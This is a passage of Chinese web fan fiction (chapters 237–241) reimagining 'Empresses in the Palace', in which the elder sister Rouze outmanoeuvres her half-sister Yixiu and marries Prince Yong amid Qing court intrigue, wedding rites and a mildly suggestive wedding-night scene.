不过嫡姐的‘教导’宜修到底是听进去了,反应过来后,软下来的声音和有些生疏的讨好,倒是得了胤禛几分心疼。 也只是对比起后院的那位齐格格来说多了一分而已。毕竟初印象实在深刻,宜修虽美,却也不是倾国倾城。 再加上她是有些拎不清在身上的,即便是侧福晋,也是管不着阿哥身边事,宜修却细碎的都想问上两句,这就惹了胤禛的不耐烦。 “府里的事自有王嬷嬷看着,侧福晋掌家不合规矩,你莫要混闹。” 两人新婚夜没有交心,也没有相对‘庶庶论’互吐苦水,如今的宜修对胤禛来说,也不过是个庶女出身的侧福晋罢了。 自听闻乌拉那拉家的嫡女和未婚夫退了婚,胤禛就有些烦躁,埋怨他额娘早早给他定了个庶女。 便是晚上两个月,他的嫡福晋就是乌拉那拉氏的嫡女了。 宜修对上胤禛有些不耐烦的脸色,不知道怎么脑子里出现了嫡姐柔则那张似笑非笑的脸。 “是妾身逾矩了,贝勒爷恕罪。” 四贝勒侧福晋这个名头太过美好了,叫宜修这几日有些飘飘然,一时间失了分寸。 胤禛没有看宜修,靠在相反的方向垂着眼不知道在想什么:“爷还没问过,你在府里头过的怎么样?” 宜修愣了愣神,她入府的时间不过几日,能过的怎么样呢? 看着胤禛突然抬起的眼睛,宜修恍然,应当是问她闺中事吧。 她抿了抿唇,脸颊升起红晕,爷这是想了解她的过去吗? “妾身是庶女,日子自然是和府中的嫡姐没得比。” 胤禛皱了皱眉头,这说的不是废话吗?他还不能和太子比呢! “你嫡姐?前些日子退婚那个?” 胤禛满脑子都是姻亲和势力,却被宜修理解成风花雪月。 她虽然尽力维持着脸上的遗憾,但眼里不自觉流露出的得意还是叫在宫中长大的胤禛看的一清二楚。 这番心性到底是小家子气,胤禛现在没有同为庶出的同病相怜,反而是有些嫌弃。 “是了,家中阿玛为嫡姐定了抚远小将军张泽端为婿,可惜张家老爷子孝期耽搁,张家也是为了不耽误嫡姐的年华,特意来退了这婚事。” 宜修倒也不是为了柔则的名声才说的这么好听,主要是坊间都传遍了。张姚氏退婚这一块流程给办的特别周全,叫人挑不出一点毛病。 胤禛摩挲了一下手里的手串,意味深长道:“原是如此,张氏倒是重情义。” 他的语气莫名带了些难懂的意味,宜修的心口突然猛烈的跳了两下,总觉得事情好像往她不愿意看到的方向延展了去。 而被退了婚的柔则却也不算闲着,怕女儿自个儿在府里无趣,觉罗氏特意筹办了几次小宴,招呼了不少适龄的女孩儿入府小聚赏花,陪着女儿聊天解闷。 虽然觉罗氏确实跋扈又愚蠢,但为了女儿,她能做的周到又贴心。 “这觉禅氏的幼女便罢了,听闻她性子霸道专横,和柔则玩不到一起去,这次不请了。” 觉罗氏也是有手帕交的,人都不是孤岛,总会有一两个臭味相投的挚友在侧,觉罗氏自然也不例外。 她的好友说来也是有缘,嫁的人也叫费扬古,只不过是一等公满洲正白旗,董鄂氏的费扬古,顺治孝献皇后的弟弟。 两姐妹最大的爱好就是写信互通给妾室立规矩的乐事,不过这位马佳氏比觉罗氏好些的是,她不在乎府里的子嗣问题。 所以名下不仅有儿子也有庶子庶女。倒是比觉罗氏的名声好些。 前几年费扬古过世,马佳氏也算是当上了老封君,过着快活的日子,把觉罗氏羡慕坏了。 这次也是专门为着好姐妹的娇娇女,跟觉罗氏凑在一起整理和柔则差不多年龄的贵女们的脾性,相约着举办几个小宴,也好叫柔则这个大侄女多认认人。 “额涅来了怎么都不告诉女儿?额娘和额涅不喜欢柔则了吗?” 两人对着一堆小册子看的头晕,门口便传来那娇滴滴又带了些委屈的声音。 “哎哟,快叫额涅看看这是谁家的小娇娇?” 这动静倒是稀罕,马佳氏更喜欢如今这般鲜活有趣的柔则。 眼看着自家女儿被好姐妹抱了去,觉罗氏伸手扒拉了两下:“行了行了,下人们看着呢。” “额娘这是怎么了?女儿多个人疼还不好,额娘是不疼女儿了吗?” 即使听多了最近女儿阴阳怪气的腔调,觉罗氏也没有免疫,反而越听越想笑:“你就会皮,快从你额涅怀里出来,额娘想着筹办几个小宴,叫你也透透气。” 往常不是没有过这流程,只是柔则性子柔的很,她又是个急脾气,总是在女儿身边放着两个嬷嬷,虽说是怕柔则受欺负,但久而久之,也没什么人愿意跟柔则相处了。 这一次觉罗氏咬牙忍住,挑的也都是府里头还算清净的人家下帖子来往。她就不信了,偌大个京城,找不出个能和阴阳怪气的女儿志趣相投的。 “是了是了,额娘有了额涅了,不需要女儿陪伴了,可不就要把女儿推出去了。” 柔则说着,帕子一甩,从觉罗氏的鼻尖前划过,那一阵被腌入味儿的玫瑰香气里,还残留着息肌丸的味道。 觉罗氏掩了掩额头,只想着还是得遍寻名医,能克制住这息肌丸的霸道药力才是。 “好好好,咱们柔则是长大了,这张小嘴可是讨人喜欢的紧。额涅娘家有几个格格,心直口快喜欢背后蛐蛐人小话,定是和你合得来。” 马佳氏拍着手笑了起来,她嘴就是欠,喜欢四处撩拨人,所以人缘时好时坏。 如今得了柔则这么一个更欠的小辈,可如同是找到了知音一般。 觉罗氏给了马佳氏一巴掌,她这女儿开窍后本就小嘴叭叭的不受控,这还有个煽风点火的,最起码,外面装装样子嘛,嫁出去再说啊! 三人凑在一起,对着京中贵女毫无证据的一顿分析,定下了小宴的人选。 这些都是觉罗氏常来常往的人家,她也不是傻子,莫名其妙给不熟的府里下帖子。 “好了,定一下你要穿的衣裳,看一下这座次和茶点规制,就算不上手,你也得知道。” 觉罗氏知道自己溺爱女儿太过,但是只要柔则皱皱眉,她就是舍不得柔则难过。有时候她也嫌弃自己是个慈母,但她始终不认为柔则是败儿。 她的柔则,就是天底下最好的女子。 (息肌丸:以麝香,人参,鹿茸等名贵药材制成。其香气能行气止痛,开郁醒脾,美容养颜,还可以促进新陈代谢,加速脂肪燃烧,有减肥的功效,使人肌肤变的如同凝脂般光滑细腻,体香甜蜜,仿佛青春永驻,只是对生育有碍。) 第237 章 柔则6 “这缂丝的料子还是稍微有些硬挺了些,袖口这里总是觉得有些难受。” 不怪宜修羡慕柔则,觉罗氏为了这个女儿也算是掏空了小金库,从小便是云锦蜀锦上身,一身皮肤自小用多种珍稀药材精心养护着,嫩的能掐出水来。 “那便不穿了,叫云筝绞了给你绣两个荷包玩玩。” 这缂丝还是皇上亲赏与费扬古的,是皇室专属的布料。若不是觉罗氏理智尚存,她刚刚是想说绞了做坐垫的。 “幸好还有一身云锦的,额娘就说这料子偏硬些,你阿玛非说这尊贵。再尊贵,能有我儿的身子重要吗?” 柔则笑着靠在觉罗氏的肩膀:“还是额娘疼我。” “快换上衣裳,一会儿客人都到了。今儿你给我提起精神学着,扈嬷嬷和喜嬷嬷虽然能干,但到底是奴才,你自己心里要有数才好。” 觉罗氏有时候甚至想着,要是自己能替柔则掌家该多好,柔则只用当个漂漂亮亮的主母,每日里开开心心的就好。她也不用露面,给女儿管好家事就行。 不过这话她可不敢说出口,从前是觉得有违人伦,如今是觉得,她这个女儿会真的答应。 今儿的客人觉罗氏请的也巧些,有董鄂氏的格格和郭络罗氏的格格。 这两个人都是会说话的,觉罗氏觉得能跟女儿聊的来的。 柔则虽然端的是阴阳怪气的人设,但那也是对能包容自己的人才有的一面。对外还是很要面子。 尤其是董鄂氏也实在好看,虽然年纪小了些,但一张圆圆的小脸嫩生生的,带着红晕喊柔则姐姐的样子,让人很难生出恶感。 郭络罗氏也是个嘴快的,她也不是为着蛐蛐谁,只是说出来的话便转了意思。 柔则自是不会惯着她这臭毛病:“瞧这妹妹,是觉着姐姐不如其她姐妹有趣了?终究是心里头没有姐姐罢了。” 郭络罗氏眼珠子都直了一瞬,这么阴阳怪气的腔调,她怎么听着耳朵里麻麻的呢。 “真是怕了你了,改明儿我做东,请咱们乌拉那拉格格去岳阳楼吃顿好的赔罪可好?” 虽说奇怪,但郭络罗氏倒是喜欢这个能跟她斗嘴斗的有来有回的。 “你可不能信口胡诌哄我开心。” 身旁怕柔则受委屈特意赶来的马佳氏姐妹实在忍不住笑了出声:“文华妹妹快应了,免得叫咱们格格伤心了。” 马佳氏姐妹就是柔则额涅的娘家亲戚,姐妹俩都是能说会道的,今日的任务就是带着柔则打入京中贵女的小团体。 “今日一见倒是觉得传言也是可信的了,柔则格格这容貌气度,果真是惊为天人。” 曾经有多少人在背后笑话觉罗氏把自家女儿的名声传的沸沸扬扬,如今就有多了解觉罗氏炫耀女儿的心思。 这样一个倾国倾城的美人儿,换作她们也是忍不住说上两句的。 “若是旁人说便罢了,慧莹妹妹也拿我打趣,谁不知道你们家里都是美人儿,这是打量着我平日里不爱出门不知道呢。” 慧莹也是董鄂氏的女儿,和刚才圆圆脸的未来九福晋是一家的。 今儿来的客人确实是觉罗氏费了心思的,都是有分寸有礼貌八面玲珑之人。 “你是主人家,我不跟你说了。” 慧莹躲到郭络罗氏身后,皱了皱鼻子。 柔则虽然话少些,但每个来的客人也算是都照顾到了。刷了一把名声,只等着两月后的中秋宴。 中间还有几场小宴,有柔则接了帖子去入府拜访的,也有她自己在扈嬷嬷和喜嬷嬷的相助下筹办的。虽然只是动动嘴,但好歹也是能撑起场面了。觉罗氏觉得她女儿已经是完美,再不需要督促了。 “乖宝这几日都瘦了,在府里休息几日,额娘带了缀锦楼的了李师傅来给你看看新花样。” 觉罗氏心疼的摸了摸自家女儿的小脸,总觉得这些日子实在太过劳累。 一旁的云筝和欢卿等婢女也是赞同,伺候格格这么些年,这还是头一次这般辛劳呢。 缀锦楼有京城最好的绣娘,有除了皇宫最珍贵的锦缎,是每个京中贵女都要预约着裁衣的地方。 这不眼看就要到了颁金节和中秋,二品以上官员可以携福晋嫡子嫡女入宫参加宴席,缀锦楼每每到这个时候,都是最忙的。 觉罗氏是常客,又是不论年节寻常都会来给柔则格格定衣裳的客人,自然得到了掌柜亲自上门的待遇。 早在半年前,柔则入宫的衣裳就定了下来,根据宫里头的来信儿,选了淡藤萝紫的云锦绣鸢尾花的图样。 这次掌柜上门,一是得了新料子过来给柔则挑选,二也是为了把成衣送来。 如今这全手工的衣裳可不是随意能买到的,从布料到绣花缝制,少说也要两三个月的功夫。柔则又是个挑剔精致的,半年时间已经算快了。 玉淑斋的首饰也送到了府上,都是上好的玉料打磨雕刻而成,极衬柔则的气质。 “额娘是外命妇,不过到底族里跟宫里的德妃娘娘连了宗,早早进宫,还是需要去请安磕个头的。” 觉罗氏发现女儿的主见大并且有计较后,下意识的会和女儿商量事情。 “去就是了,碰到也就碰到了。咱们满人家虽然注重规矩,但也没有那么注重规矩。” 柔则照着镜子,想着明日就能看到她那亲爱的庶妹了,心里也是很开心呢。 觉罗氏没接话,看着自家女儿挑起一边的嘴角,看起来就不怀好意的样子,实在是,太可爱了! 中秋夜宴,觉罗氏带着柔则先往永和宫去和德妃请安。 “这便是柔则吧?自上次见面也有两三年的功夫,真是越发的好看了。” 德妃很满意柔则,老四不是她特别看重的儿子,侧福晋和福晋都是一家的才好,不会过于壮大势力。 至于她的老十四,她看好的完颜氏的嫡女,满洲正黄旗出身,金国皇族后裔。阿玛罗察如今任户部侍郎,继母为觉罗氏,是标准的大家贵女。 柔则的出身也不差,但听闻她这个侄女不善管家,性子绵软,是她掌控老四后院的不二人选。 柔则看懂了德妃眼里的算计,心里头也很满意。 第238 章 柔则7 (写这一篇专门去查了下时间线,百度上给的甄嬛传里,宜修入府时间是在康熙四十八年。 这个时候胤禛都三十了,才刚纳了第一个侧福晋,他亲弟十四的嫡子都有了。这硬靠的我写的都心虚,笑一下蒜了。) 胤禛带着宜修进门,眼神便落在柔则身上久久不肯挪开。 德妃见状心里头冷笑,面上却带了些慈母的温和:“老四来了,这是柔则格格,你大约也是第一次见。” 柔则掩在袖口下的小手掐了一把快要笑出声的额娘,随后起身福了一礼:“见过雍亲王。” 没错,今儿早朝,胤禛从四贝勒跳跃到了雍亲王,这才是觉罗氏非要把女儿嫁进来的原因。 “格格不必多礼。” 他的语气温和带着几分亲切,叫在场的人都有些不习惯。 柔则起身瞥了他一眼,似是对胤禛的亲近有些惊讶。 宜修看着这屋子里的人各自算计,心里头呐喊:做什么叫的这么亲热!这是他大姨子!大姨子啊! 然而对上柔则的眼神,宜修眼底的嫉恨像是被蛰了一下,乖巧的散开了去。 “许久未见,侧福晋过的可好?” 柔则嚼字自有一股独特的韵味,像是带了些唱曲的腔调,但又如珍珠落玉盘,即使带了些恶意,也叫人听着舒坦。 宜修不由自主的往柔则方向靠近了一步距离,虽然知道只要有嫡姐在的地方就失去了存在感,但她仍旧想要争一争。 “宜修都好,姐姐过的可好?” 她今日穿了十公分的花盆底,特意把侧福晋的朝服也上了身,整个人无比自信。 其实,除却重大典礼,如中秋宴这种以君臣和乐为主题的非正式宴席,是不要求朝服穿着的。 胤禛也提示了宜修,被宜修以第一次入宫为由全了她自己这份虚荣心。 柔则的眼睛打量了宜修一番,宜修不自觉的挺着胸膛,端着侧福晋的架势。 “呵呵,好着呢,今儿好,明儿好,咱们俩个啊会‘日日’都好呢。” 柔则掩着嘴,眼底的笑意叫宜修脸色发红。这嫡姐说话越发阴阳怪气了,偏旁人听了不觉得。 胤禛还未离开,十四阿哥胤禵带着福晋完颜氏和侧福晋伊尔根觉罗氏,舒舒觉罗氏走了进来。 “额娘这里怎么这么热闹?” 大孙子小儿子老太太的命根子,胤禵就是这命根子。 德妃眼底客套的笑意瞬间添了温度,脸色柔和的像是一汪温泉水,叫人不由自主的沉溺其中。她本就生的花容月貌,即使上了年纪,也因为养尊处优积攒了一身优雅气质,不显分毫老态。 “难得你今儿来的倒是早,这不,你表姐在这儿。” 胤禵进门就看到了这气质独特的女子,那份容貌和气度,是他见过最出众的。 “表姐?可是乌拉那拉氏的格格?” 胤禵的容貌有一半随了德妃,即使比胤禔胤礽差些,相对于胤禛基本随了康熙来说,还是帅气的。 “见过十四贝子。” 柔则应该谦逊的对着两位皇子说一声‘当不得二位一声姐姐’,但她不想说这违心的话,她这么好的女子,当姐姐都是勉强,她明明想当的是祖宗。 “表姐可是有婚配了?” 胤禵问完,突然觉得侧面的温度升高,他斜眼看去,只见他那不顺眼的四哥也竖起了耳朵。 他暗道一声‘不好’。光顾着欣赏美人儿了,忘了自己妻妾双全,不可能叫这位柔则表姐做格格的。 而老四就不一样了,人到中年,只有一个侧福晋。他这表姐是费扬古的嫡女,做雍亲王福晋绰绰有余。 胤禵似是吞了一斤铁块子,自己给自己噎的吐血。 柔则勉强拉了拉嘴角,轻轻摇了摇头。 完颜氏把自家爷拉了回去,嘀嘀咕咕解释了一通柔则未成婚的缘由。胤禵这才忽然想起,前段时间听到的闲话,竟是他这表姐的事迹。 胤禵羞愧的看了一眼面色有些失落的柔则,心里头恨不得给自己一巴掌‘你会不会说话,额娘都说是表姐了,那位庶妹都成了老四的侧福晋,还是格格肯定有缘由啊!叫你嘴欠。’ “尝尝这西湖龙井,也只有在额娘这里能喝到如此好的茶了。” 完颜氏上前拉着柔则坐了下来,看着柔则那张男女通杀的脸语气越发柔婉。 “多谢十四福晋。” 德妃眼珠子转了一圈,没有再顺着这个话题说下去。 “你们先去吧,一会儿额娘带着她们过去。” 胤禛离开时回头看了一眼,却被胤禵一把薅了出去。 他挣开胤禵的手,面露嫌弃的拍了拍自己的袖子。 “老四,你也老大不小了,该娶福晋了吧?” 胤禛奇怪的看了一眼咬牙切齿的胤禵,以为他脑子坏了。 他们不是最不合的兄弟吗?难不成他还要给他帮忙? 然而胤禵想的是,先叫胤禛定下福晋,这样就嚯嚯不到表姐身上了。 母子三人八百个心眼子乱转,一路到了乾清宫。 走完了前头较为严肃的流程,胤禵起身cue自己那个不苟言笑的四哥。 “皇阿玛,儿臣嫡子都有了,四哥府里头只有一位侧福晋,不如趁着今日佳节,皇阿玛也给四哥赐个福晋吧。” 康熙猛然回神,怎么回事,他的老四一把年纪,居然没娶福晋吗? 他带了些冷淡的看了一眼一旁的德妃,这个当额娘的居然一点也不上心。 德妃在心里头骂小儿子是个祸祸头子,但不得不起身为自己请罪。 “是臣妾的失职,请皇上恕罪。” 其实责任也不完全在德妃,康熙看着德妃请罪才想起来,当初孝懿皇后去了后,他说要好好给胤禛掌眼,不叫孝懿皇后担心才拖到了现在。 德妃是知道内情的,这个场合倒是委屈她了。 “起来吧,也是朕疏忽了。” 德妃柔柔一笑:“那臣妾也觍着脸托皇上做个主,臣妾有位侄女,因着抚远小将军守孝退了婚,如今也想请皇上赐婚呢。” 不纠结皇上的过错,德妃很聪明的引出了柔则的婚事。 “哦?朕好像听你提起过,是哪家的格格来着?” 康熙想着,若是家世不错,就直接给老四当福晋得了。 “是乌拉那拉氏的格格,费扬古大人的嫡女。” 这家世确实不错,只是:“胤禛的侧福晋是不是就是乌拉那拉氏的?” 德妃笑着点了点头:“是,是臣妾这侄女的庶妹。” 这不算什么大事,他自个儿宫里也有姐妹花呢。 “费扬古的嫡女,倒是个好的。如此,朕便做主把乌拉那拉格格赐婚雍亲王做嫡福晋。” 皇子娶福晋向来是为了姻亲,不过胤禛是太子手下的人,而太子的势力如今已经够大。正好,同一家的格格,不存在再联姻其他家族。 康熙为自己的英明点了个赞。 德妃为自己的聪慧点了个赞。 胤禵为自己的鲁莽掉了滴眼泪。 本以为能叫老四娶个福晋失了竞争力,谁能想到他额娘神来一笔把自家表姐坑了进去。 然而胤禵又不能埋怨额娘,额娘明明也是为了搭着皇阿玛高兴,想给表姐找个好人家罢了。 唉,怪只怪老四这个一把年纪的老男人未成婚,才捡了便宜。 柔则按着觉罗氏的手用了用力,她脸上快要飞出去的笑容才变得正常。 而胤禛身边的宜修也叹了口气,这一天还是来了。 第239 章 柔则8 “娘的乖宝定是九天的玄女转世,漂亮聪慧无人能及。” 相较于德妃给自家乖女出的几个主意,什么倚梅园跳舞,什么中秋献乐,都太低端了,完全配不上她的乖宝的身份。 今儿那雍亲王看她的乖宝眼睛都直了,觉罗氏就知道,没有人能逃过乖宝的魅力。 也就是这雍亲王老了点,其实十四阿哥的年纪不错。就是贝子的爵位太低,还有的熬呢。 “娘去给你准备嫁妆,乖宝自己好好休息。” 觉罗氏虽然也忙了一天,但现在浑身是劲儿。 她盘点了一下自己的嫁妆,把衬不上自家乖女身份的都拿了出去。 又给娘家去了信,叫他们准备些金贵物件来。 乌拉那拉族里也没落下,这可是亲王福晋,乌拉那拉氏争取不来,就在银钱上多出出力。别以为觉罗氏不知道,乌拉那拉氏的老族长有钱着呢。 康熙指婚后,宗人府立刻备案。 胤禛回府后也快速的准备了纳采礼送到了乌拉那拉府上。 随后,在礼部侍郎的带领下,胤禛行至太庙,奉先殿告祭祖先,奏明婚讯。 礼部授予亲王福晋金册金宝,完成了娶亲前所有准备仪式。 因着雍亲王的婚事被耽搁,康熙有些不起眼的小愧疚,甚至还亲赐“喜”字,以示对佳儿佳妇的满意。 觉罗氏的无脑要钱行为还是很有效的,毕竟如今的柔则名声好,嫁的高,大家都是愿意在这方面结个好的。 为了不委屈女儿,觉罗氏甚至在柔则不经意的提示下宴请了不少那拉氏的福晋。 到底也算是“同”姓,“雍亲王福晋”这个橄榄枝大家都愿意伸个手搭上一把。 低于太子妃的二百抬嫁妆,觉罗氏取了个好听的数,把所有好玩意尽量都放在了箱子里,得了一百八十八抬嫁妆。 柔则靠在觉罗氏怀里,有一搭没一搭的玩着手帕。 “雍亲王年岁虽然大了些,但咱们也不是奔着人去的。再好的男子上了岁数都是一个德行,力不从心花天酒地是常态。 你如今是上了玉牒的亲王福晋,只要你安安稳稳的,挥霍如度反而不是大毛病。” 离婚礼的日子越来越近,觉罗氏晚上都睡不着觉。 “知道了额娘,你在家也好好儿的,女儿得空就约你出来玩儿。” 福晋没那么束缚,偶尔去铺子逛逛出门跑马小聚都是平常。 觉罗氏半晌没有说话,眼泪扑簌簌的往下掉:“额娘会的不多,控制了你阿玛的子嗣又如何,你一个女儿家,今后娘家连个撑腰的兄弟都没有。” 此时的觉罗氏为了女儿,对自己的所作所为有了些悔意。 柔则握着觉罗氏的手:“那额娘就健健康康的活着,有额娘在,没人敢欺负女儿的。” 觉罗氏把柔则往怀里揉了揉。 女儿再懂事也是孩子,她十几年像眼珠子护着的孩子,如今也长大要嫁人了。 “额娘做这个主母在家里头不受待见,不过额娘还是能给柔则找来人的。” 觉罗氏这作为在他们老爱家确实有些过分,不过到底是自家孩子,觉罗氏有求,相近些的例如简亲王的姑母,便派了身边的嬷嬷请了柔则入府,细细道道的给她讲了一堂正经的亲王福晋的课。 柔则受益匪浅。 从前虽然做过不少贵女,但老一派留下的皇室规矩手段,显然要比臣子家的周全。 一晃到了迎亲的日子。 宜修看着府里头那显眼夺目的红色扯了扯嘴角。 早前柔则的嫁妆入府时,宜修也过去看过。她手里的帕子都扭的变了形,整个人都压抑着嫉妒的情绪。 其实觉罗氏对宜修的嫁妆根本没有做手脚,按照寻常的规制而已。只不过因为她也没尽心,所以大部分都是好看的花架子,除了能赏人,或者摆着充面子,没什么大用。 柳姨娘家底不丰没能给女儿多备些好东西,偏宜修看不懂形势,把这一切归咎在觉罗氏嫡母不慈的身上。 “侧福晋,咱们该去迎福晋了。” 剪秋小心翼翼的开口,把宜修粘在正院的眼睛挪了开。 这正院也是胤禛再一次修整过的,不仅合并了旁边两个小些的院子,还专门打听了嫡姐的喜好,在园子里种了嫡姐喜欢的玉蕊檀心梅。 “前院是谁在照看?” 宜修什么都想知道,偏她没资格插手。 剪秋看了眼旁边的绘春,低声开口道:“是十四爷。” 宜修‘哼’笑了一声,对胤禵也瞧不上。 别以为她是瞎子,当初在永和宫里,胤禵看她那好嫡姐的眼神,不比胤禛清白多少。果然是一个娘生的,都是见色起意的坯子。 只是因着嫡福晋和侧福晋俱全,才不得不在宴席上开口为他的好四哥助力。 就连宜修都认为胤禵在助力,更别提德妃。 她还纳闷小儿子怎么开了窍,就发现开的窍好像跟她想的不一样。 “你也收敛些。” 德妃头疼的歪在榻上,闭着眼不去看下头那个小混账。 胤禵不以为意的撇嘴:“知道了,总要顾及表姐的名声。” 德妃哑然。 也罢,不管他顾及的是谁的名声,总归安分了就好。 面上安分了,心里不安分。 胤禵在胤禛的婚礼上忙前忙后的,不知道的,还以为今日的新郎官是他呢! 胤禩等兄弟到时,看到的就是忙碌小蜜蜂胤禵在替自家四哥招待客人。 他心里千回百转,面上不露声色的拍了拍胤禵的肩膀笑道:“终于有个弟弟样了,今日还知道帮四哥的忙。” 胤禵撇嘴却没有像以往那般顶回去,毕竟他真正想帮的人不好说出口。 他是怕耽误柔则的名声没错,却叫人均八百个心眼子的哥哥们都起了疑心。 十四和老四的关系他们不是不知道,而且老四跟着太子,本身就是一股势力。 难不成如今十四跟老四又和好了?还是他们兄弟,一直好着呢?这个问题十分值得他们深思。 被疑心的胤禵丝毫不知,还尽职尽责的周全着在场的宾客。 一直到闹洞房时,胤禵还是站在前面把所有人的捣乱都拦了回去。以一己之力和所有哥哥碰杯。当然了,也是一时上头,过后胤禵后悔的两眼泪汪汪,他明明应该叫哥哥们把老四灌醉才好! 胤禛看着胤禵上蹿下跳的样子,眯了眯眼,心里头有了计较。 不过,到底今日是他的新婚夜,胤禛并不想浪费这个蠢弟弟的作用。 把一众兄弟扔在前院,自己快步来到正院,心跳如鼓。 第240 章 柔则9 龙凤喜烛点亮着婚房暧昧的气氛,胤禛快步上前,看着近在咫尺的心上人,酒气升腾,只觉得整个人都如飘在云端一般有些不真实的虚妄感。 “王爷。” 柔则对上胤禛的视线并未露出想像中的羞涩,反而是他被柔则那似实质般的打量,整个人都燥热了起来。 “爷先去梳洗。” 虽喝的不多,但到底沾染了些许酒味,担心柔则不喜,胤禛后退一步,想着洗干净了再来。 未曾想柔则挑了挑眉,伸出一只手递到胤禛面前。 不得知其意,但仍旧顺着柔则的动作握住了这只手。 柔则微微用力,没有准备的胤禛便被拽着倒在了柔则身上。 好在他反应快,两手撑在了身侧。 柔则的小臂支撑着上半身没有完全躺下去,头微微扬起,细嫩的脖子暴露在胤禛的眼底,一时间这床榻间的空气都仿佛粘稠起来。 “福晋莫急,爷身上有酒气。” 柔则勾了勾唇角,伸出右手勾住了胤禛的脖子,她借着力道微微起身凑到胤禛耳边呵了口气:“爷想什么呢,妾身只是坐久了,腿有些软罢了。” 胤禛的思绪跟着鼻尖的香气一起飘到了星空,伸手揽住怀里人的腰肢想要再贴近点。 却被柔则用一根手指顶着胸口推了开来:“爷不是要去梳洗?” 对面的人哪还有刚才的魅惑,那双似是藏了星辰的眸子全是无辜。 胤禛从怀里掏出一条鸽血红的项链,戴在了柔则脖子上。 “这是皇额娘留给爷福晋的,今日,便交于你。” 柔则的手指轻轻从项链上抚过,拉着胤禛的衣领迫使他低头。 在胤禛思绪还未反应过来时,轻柔的在侧脸上落下一吻。 “皇额娘的心意,妾身收到了。爷去梳洗,妾身还要回报皇额娘的好意呢。” 胤禛迷迷瞪瞪的被柔则推到了浴房,被热气熏了半晌,脑子才清醒过来。 柔则由着自己身边的婢女卸了妆,换了身轻薄的寝衣,虽卸去了所有钗环,到脖颈间那殷红如血的项链却未曾取下。 胤禛回来时,看到的就是柔则赤着脚坐在床边的样子。 “凉。” 他低着头,看着那双脚心里头不知道在想什么。 自觉并没有似三哥那种奇怪癖好的胤禛,此时突然共情了胤祉。 柔则却不想知道胤禛的心理活动,她右脚轻轻踢了胤禛的小腿一下,顺着他的脚腕慢慢往上攀。 抵在小腹时,脚尖微微用力,表情却是挑衅的。 胤禛伸手抓着柔则的脚腕,炙热的手心和泛着微凉的皮肤贴紧,叫两人都有了些酥麻的感觉。 把人推倒在床上,胤禛稍显急切的扯开了柔则的寝衣,却被里头那鸽子血的项链刺激的眼睛都发直。 乌发和红似乎都成了陪衬,白皙带着香气的柔则,才是胤禛掉落的陷阱。 虽然一夜荒唐,但新婚小两口还是按时起床准备给康熙请安。 “宛宛,先靠着我休息一会儿。” 从来没有低于五个时辰睡眠的柔则此时虽然全妆上了马车,但人却再次陷入‘昏迷’状态。 胤禛把人搂在怀里,避开了柔则的头饰和脸上的脂粉,护着人又睡了一会儿。 “儿臣/儿媳给皇阿玛请安。” 康熙因着对太子的防备,对于老四的婚事十分为自己英明的决定点赞,但见到柔则的第一眼他又觉得自己有点多事了。 当时赐婚时柔则起身谢恩一直低着头,康熙也因为了结了一桩心事笑呵呵的没有仔细看。 没想到是这般绝色。 虽然心里头百转千回,但仍旧端着慈父的笑脸按照流程说了几句场面话。可惜归可惜,一个女人还不至于叫他在海晏河清之际给自己添一笔强夺儿媳的坏名。 又去永和宫给德妃请了安,两口子带着一水儿的赏赐回到雍亲王府。 “妾身有些乏了,叫妹妹们晚些再来吧。” 柔则整个人的重量都倚在胤禛身上,因着打哈欠有些泛红的眼角格外的娇艳。 “听你的,你是福晋,这些小事无需和我商量,叫她们等着就是。” 柔则满意的看了胤禛一眼:“爷可要再睡会儿?” 胤禛点了点头,他有三天婚假,正好陪着宛宛。 “对了,等我醒了,我要看到这雍亲王府的账本子和对牌。” 虽然活儿是不可能多干的,但是属于她的权利是不可能给别人的。 “嗯,佟嬷嬷已经收拾好了,等你休息好了再看。” 说着话,云筝带着人熟练的给柔则褪下了鞋袜和碍事的首饰。 看着柔则身边围绕的六个婢女两个嬷嬷,胤禛看了眼自己旁边的苏培盛,突然有种自己很可怜的错觉。 一觉醒来,重新梳妆后才慢悠悠的扶着胤禛的手晃到前面,看着底下零星的几个妾室笑了笑。 宜修看着高高在上的柔则,比在闺中的气势更盛,自己前段时间因为侧福晋一位的炫耀像是一个重重的耳光,扇的她双颊发红。 “妹妹这是怎么了?瞧见姐姐可是高兴坏了?” 柔则故意没有伸手接底下宜修的敬茶,她歪着头,用帕子掩着嘴声音带了调笑。 宜修咬了咬唇,只觉得头顶像是被一座高山笼罩着,阴云密布瞧不见天日。 “是,能和姐姐相聚,宜修自是开心。” 柔则这才示意兰舒接过了宜修的茶,做样子沾了沾嘴。 然而这并不是宜修最想结束的一幕,受了妾室的敬茶,福晋的赏赐才是柔则故意为之。 “从前就知道妹妹喜欢这牡丹的纹样,偏这柳姨娘和妹妹身份不够,便是求了跟本福晋一样的簪子又如何?也不过是仿制品罢了,今儿啊,姐姐便做主,给妹妹个新的。这是漱玉斋的大师亲手雕刻,想来妹妹喜欢。” 柔则话一刀一刀的刺着宜修脆弱的小心灵,她死死的攥着拳头,才叫自己不至于失态。 这牡丹玉簪便是宜修觉得和嫡姐的待遇天差地别的最高点。 偏她认为自家那位姨娘衬得起,央着费扬古给弄了个银质的,还缺了两个花瓣也不满足。 今儿虽然得到了,但柔则的话像是无数个小刀子,叫她咽着着实喇嗓子。 一旁陪同的胤禛十分认可自家福晋的战斗力,有了这份嘴皮子,他就是兄弟里最靓的仔! “妾身给福晋敬茶。” 齐格格倒是主动,态度也不错。 柔则礼貌的笑了笑,赏赐中规中矩。 雍亲王府里的妾室确实不多,除了这两个人,还有一位默不作声的宋格格,曾经有个女儿,可惜未满一岁夭折,身子一直不大好。 还有一位侍妾钱氏,相貌一般,想来都是德妃‘精挑细选’的,为了怕自己老四‘沉迷美色’,耽误政事。 多‘伟大’的母爱啊! 第241 章 柔则10 “今后呢,每月的初一十五请安即可,若是有事,及时来禀报。大事小情你们自作主张的都不算数,报给本福晋身边的扈嬷嬷,出了事,本福晋还能给你一个辩解的机会。 若是越过本福晋直接找王爷,那便就划出后院的范围,今后的月例也好生产也罢,有本事就都找王爷处理,没本事,呵,就自生自灭。可听明白了?” 胤禛痴迷的看着柔则冷淡的表情,有一种甘愿献祭自己的一切的冲动。 “妾身明白。” 宜修低下了头,悬着的心终于死的不能再死了。 “好了,都下去吧。” 打发走了这些人,柔则翻了翻佟嬷嬷送来的账本。 她眉头微蹙,有些不满的问了一句:“就这些?” 佟嬷嬷知道差了什么,也暗自舒了口气,是个有成算的就好。 “奴婢只负责处理府内的事务,至于外头的铺面和庄子等进项,则是由王爷前院的人在处理。” 